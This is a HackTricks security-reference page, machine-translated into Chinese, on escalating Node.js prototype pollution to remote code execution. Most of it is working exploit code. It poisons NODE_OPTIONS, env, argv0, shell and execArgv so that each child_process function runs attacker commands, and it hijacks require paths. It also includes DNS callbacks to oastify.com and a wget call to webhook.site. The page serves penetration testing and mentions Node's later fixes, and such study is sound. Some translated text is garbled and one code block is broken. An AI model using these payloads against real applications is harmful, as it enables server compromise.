Prototype Pollution to RCE

支持 HackTricks

易受攻击的代码

想象一下一个真实的 JS 使用以下代码:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE 通过环境变量

PP2RCE 意味着 原型污染到 RCE(远程代码执行)。

根据这个 写作,当一个 进程被生成 使用 child_process 的某些方法(如 forkspawn 或其他)时,它调用方法 normalizeSpawnArguments,这是一个 原型污染工具,用于创建新的环境变量

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

检查代码,你可以看到通过污染属性**.env可以毒害 envPairs**。

毒害 __proto__

请注意,由于node的**child_process库中的normalizeSpawnArguments函数的工作方式,当调用某个函数以设置新的环境变量时,你只需要污染任何东西**。 例如,如果你执行__proto__.avar="valuevar",进程将以名为avar且值为valuevar的变量启动。

然而,为了使环境变量成为第一个,你需要污染****.env属性,并且(仅在某些方法中)该变量将是第一个(允许攻击)。

这就是为什么在以下攻击中**NODE_OPTIONS不在.env**中的原因。

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

污染 constructor.prototype

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

与之前的有效载荷类似,提出了一种有一些变化的有效载荷,详见这篇文章. 主要区别在于:

  • 它不是将nodejs 有效载荷 存储在文件 /proc/self/environ 中,而是存储在 /proc/self/cmdlineargv0 中。

  • 然后,它不是通过 NODE_OPTIONS 要求文件 /proc/self/environ,而是 要求 /proc/self/cmdline

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS 交互

使用以下有效载荷,可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量,并通过 DNS 交互检测其是否有效:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

或者,为了避免 WAF 询问域名:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE 漏洞 child_process 函数

在本节中,我们将分析 child_process 中的每个函数 以执行代码,并查看我们是否可以使用任何技术强制该函数执行代码:

exec 利用
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile 利用

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

为了使 **`execFile`** 工作,它 **必须执行 node** 以使 NODE\_OPTIONS 生效。\
如果它 **不** 在执行 **node**,你需要找到如何通过 **环境变量** 来 **改变执行** 的内容并设置它们。

**其他** 技术 **在** 没有这个要求的情况下 **工作**,因为可以通过原型污染 **修改** **被执行的内容**。 (在这种情况下,即使你可以污染 `.shell`,你也不会污染正在被执行的内容)。

</details>

<details>

<summary><code>fork</code> 利用</summary>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn 利用
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync 利用
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSync 利用
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
spawnSync 利用
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

强制生成

在之前的示例中,您看到如何触发小工具,功能需要调用 spawn的功能存在(所有用于执行某些操作的**child_process方法都会调用它)。在之前的示例中,这是代码的一部分**,但如果代码没有调用它呢?

控制 require 文件路径

在这个 其他写作 中,用户可以控制将执行的 require 的文件路径。在这种情况下,攻击者只需找到系统中的一个 .js 文件,该文件在导入时将执行一个 spawn 方法。 一些常见的在导入时调用 spawn 函数的文件示例包括:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • 在下面找到更多文件

以下简单脚本将搜索来自 child_process调用 没有任何填充(以避免显示函数内部的调用):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
之前脚本发现的有趣文件
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)

  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);

  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });

  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();

  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

通过原型污染设置 require 文件路径

之前的技术要求 用户控制将要被 require 的文件路径。但这并不总是正确的。

然而,如果代码在原型污染后执行 require,即使你不控制将要被 require 的路径,你可以通过滥用原型污染强制使用不同的路径。因此,即使代码行是 require("./a_file.js")require("bytes"),它将require你污染的包

因此,如果在你的原型污染后执行了一个 require,并且没有 spawn 函数,这就是攻击:

  • 找到一个系统内的 .js 文件,当被require时将使用 child_process 执行某些操作

  • 如果你可以向你攻击的平台上传文件,你可以上传这样的文件

  • 污染路径以强制 require 加载将使用 child_process 执行某些操作的 .js 文件

  • 污染环境/命令行以在调用 child_process 执行函数时执行任意代码(参见初始技术)

绝对 require

如果执行的 require 是绝对的require("bytes")),并且包在 package.json 文件中不包含 main,你可以污染 main 属性并使require 执行不同的文件

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

相对 require - 1

如果加载的是相对路径而不是绝对路径,您可以使节点加载不同的路径

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

相对 require - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

相对 require - 3

类似于前一个,这在 这篇文章 中发现。

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

VM Gadgets

在论文 https://arxiv.org/pdf/2207.11171.pdf 中也指出,vm 库某些方法的 contextExtensions 控制可以作为一个 gadget。 然而,与之前的 child_process 方法一样,它在最新版本中已被 修复

修复与意外保护

请注意,原型污染在访问的对象的 属性undefined 时有效。如果在 代码 中该 属性设置 为一个 ,你 将无法覆盖它

在 2022 年 6 月,从 这个提交 开始,变量 options 不再是 {},而是 kEmptyObject。这 防止了原型污染 影响 options属性 以获取 RCE。 至少从 v18.4.0 开始,这种保护已被 实施,因此 spawnspawnSync 漏洞 影响的方法 不再有效(如果不使用 options!)。

这个提交 中,vm 库的 contextExtensions原型污染在某种程度上被修复,将选项设置为 kEmptyObject 而不是 {}

其他 Gadgets

参考文献

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